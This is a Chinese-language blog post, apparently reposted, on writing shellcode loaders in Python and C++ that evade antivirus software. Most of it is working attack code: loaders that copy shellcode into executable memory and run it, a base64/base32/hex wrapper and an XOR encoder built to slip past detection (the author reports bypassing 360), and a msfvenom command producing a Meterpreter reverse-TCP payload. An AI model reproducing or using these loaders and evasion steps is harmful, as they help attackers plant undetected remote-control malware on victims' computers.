各種語言實現Shellcode加載(暫時兩種)


 
原理:使用Shellcode和加載器分離的方法,方法很low,但是值得嘗試
 
 

Python

 
參考自K8
 

#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

 

Shellcode混合加密

 
造輪子,造輪子QAQ(K8師傅的那個已經過不了檢測了)
 

import ctypes
import sys
import random
from argparse import ArgumentParser,FileType
import base64

#decode = sys.argv[1].decode("hex")


def Decode(QAQ,str):
      for Mikasa in QAQ[::-1]:
            print(Mikasa)
            if Mikasa=="base64" :
                  str=base64.b64decode(str)
                  pass
            if Mikasa=="base32":
                  str=base64.b32decode(str)
            if Mikasa=="hex":
                  str=str.decode('hex')
      return str

def start(decode):
  str=bytearray()

  num=len(decode)

  if "Mikasa"=="Mikasa" :
    for test in num:
      str=str+bytearray(decode[test])
    pass
  ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(num),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))
    
  buf = (ctypes.c_char * len(str)).from_buffer(str)
    
  ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                      buf,
                                      ctypes.c_int(len(str)))
    
  ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.c_int(ptr),
                                          ctypes.c_int(0),
                                          ctypes.c_int(0),
                                          ctypes.pointer(ctypes.c_int(0)))
    
  ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

def main():
      parser=ArgumentParser()
      parser.add_argument('-d','--decode',dest="list",nargs='+',help="Decode")
      parser.add_argument('-s','--secret',type=str,help="Your Secret")
      args=parser.parse_args()
      #print(args.list,args.secret)
      True_Secret=Decode(args.list,args.secret)
      start(True_Secret)
      pass
if __name__ == "__main__":
    main()

編譯

參考文章下載環境
 
https://www.cnblogs.com/backlion/p/6785870.html
 

python PyInstaller.py --console --onefile  shellcode_load.py

 
用法的話則是
 

假設你的shellcode經過 base64 hex 加密后
則為 shellcode_load.exe -d base64 hex -s xxx

 

結果如下

 
雖然VT檢出率挺高的但是過360還是可以的
 

 

 
估計動態免殺是過不了的
 

參考資料

https://www.cnblogs.com/k8gege/p/11223393.html
https://www.cnblogs.com/backlion/p/6785870.html

C/C++語言實現Shellcode

 

加載Shellcode的代碼

 

#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv){
    char ShellCode[] = "\0x0x0x0x0x0x0x......";            // ShellCode 填充到這里。
    
    void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
    return 0;
}

 
C++這些東西還是不太懂得,大約就是申請虛擬內存,將shellcode拷貝進去,再將exec指針轉換為函數指針並且執行(我的c++確實不太行,有大佬知道的請務必告訴我)
 

 
當然你還可以用命令行實現,使用argv參數來達到命令行讀取的效果
 
執行netstat -ano可以看見我們監聽的端口

 

但是因為shellcode本身的特征比較明顯,殺毒軟件很容易定位到
 

異或編碼繞過

 

先使用msf制造raw格式的shellcode文件
 

sudo msfvenom -p windows/meterpreter/reverse_tcp  lhost=xxx  lport=12345 -f raw > 1.raw

 

#-*- coding:utf-8 -*-
import sys

from argparse import ArgumentParser,FileType

def Xor_Encode(src_file,dst_file,num):
    Shellcode=''
    Shellcode_Size=0
    try :
        while True:
            code=src_file.read(1)
            if not code:
                break
            test=ord(code)^num
            test_hex=hex(test)
            test_hex=test_hex.replace("0x","")
            if len(test_hex)==1 :
                test_hex='0'+test_hex
            Shellcode+='\\x'+test_hex
            Shellcode_Size+=1
        src_file.close()
        dst_file.write(Shellcode)
        dst_file.close()
        return Shellcode_Size
    except Exception as e:
        sys.stderr.writelines(str(e))
    pass


def main():
    parser=ArgumentParser(prog="Shellcode Test",description="Encode In Raw SHellcode")
    parser.add_argument('-s','--src',type=FileType('rb'),required=True)
    parser.add_argument('-d','--dst',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',type=int,default=44)
    Mikasa=parser.parse_args()
    print(Xor_Encode(Mikasa.src,Mikasa.dst,Mikasa.num))

if __name__ == "__main__":
    main()
    pass

使用python3 xxx.py -s 1.raw -d 1.txt -n 44
 
就會在1.txt生成與44異或的shellcode
 

 
放進里面試試
 

// shellcode_load.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
//

#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;

int main(int argc, char **argv) {
    unsigned char buf[] ="";//Shellcode
    cout << sizeof buf << endl;
    for (int i = 0; i < sizeof(buf); i++)
    {
        buf[i] = buf[i] ^ 44;
    }
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

 

 
免殺360了,確實很簡單,如果可以的話還可以做成像Python那樣的多種加密的形式
 

擴展

 
還可以利用Socket來動態加載Shellcode,這種方式更加隱蔽(代碼功底不是很好emmmm)
 

參考資料

https://payloads.online/archivers/2019-11-10/1 腳本就是參考這里面的
https://www.cnblogs.com/LyShark/p/11335999.html
 

總結

 
靜態免殺很容易,難的是動態,難的是持久
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM